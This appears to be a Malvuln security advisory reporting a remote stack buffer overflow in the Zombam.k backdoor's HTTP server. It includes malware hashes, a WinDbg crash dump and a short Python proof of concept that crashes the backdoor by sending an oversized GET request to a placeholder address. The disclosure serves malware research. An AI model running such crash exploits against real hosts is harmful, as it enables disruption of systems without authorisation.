Backdoor.Win32.Zombam.k malware suffers from a remote string dereference stack buffer overflow vulnerability.
05421fbc3ad7da507f99f68ed1a1e1a0Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/79d9908b6769e64f922e74a090f5ceeb.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Zombam.k
Vulnerability: Remote String Dereference Stack Buffer Overflow
Description: HTTP RAT 0.21 Backdoor Webserver By z0mbie, create's on the fly executable backdoors that can listen on various ports you specify. The main executable
then spits out a binary named "httpserver.exe" listening on the port specified in the backdoor creation steps. Sadly, the backdoor is vulnerable to stack buffer overflow
by sending a large HTTP GET request of 1000 bytes or so to the listening backdoor port.
Type: PE32
MD5: 79d9908b6769e64f922e74a090f5ceeb
Vuln ID: MVID-2021-0015
Dropped files: httpserver.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 1/4/2021
Memory Dump:
EAX : 0574FA40
EBX : 03FE02A0
ECX : 00000415 L'Е'
EDX : 41414141
EBP : 0574FA28
ESP : 0574F9F0
ESI : 03FE02A0
EDI : 00405076 httpserver.00405076
EIP : 00402906 httpserver.00402906
(12f4.e58): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0494fa20 edx=41414141 esi=00000003 edi=00000003
eip=773ced3c esp=0494f0bc ebp=0494f24c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:004> .ecxr
eax=0494f9f0 ebx=04020300 ecx=0494fa20 edx=41414141 esi=04020300 edi=00405076
eip=0040292e esp=0494f9d8 ebp=0494fa28 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** WARNING: Unable to verify checksum for httpserver.exe
*** ERROR: Module load completed but symbols could not be loaded for httpserver.exe
httpserver+0x292e:
0040292e 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=????????
FAULTING_IP:
httpserver+292e
0040292e 8b4204 mov eax,dword ptr [edx+4]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040292e (httpserver+0x0000292e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414145
Attempt to read from address 41414145
PROCESS_NAME: httpserver.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 41414145
READ_ADDRESS: 41414145
FOLLOWUP_IP:
httpserver+292e
0040292e 8b4204 mov eax,dword ptr [edx+4]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00000e58
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 004024ce to 0040292e
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0494fa28 004024ce 41414141 0494fa40 00000415 httpserver+0x292e
0494faa4 41414141 41414141 41414141 41414141 httpserver+0x24ce
0494faa8 41414141 41414141 41414141 41414141 0x41414141
0494faac 41414141 41414141 41414141 41414141 0x41414141
0494fab0 41414141 41414141 41414141 41414141 0x41414141
0494fab4 41414141 41414141 41414141 41414141 0x41414141
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=80
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
JUNK="A"*2000
PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
print("Remote Buffer Overflow")
print("MD5: 79d9908b6769e64f922e74a090f5ceeb")
print("By Malvuln")
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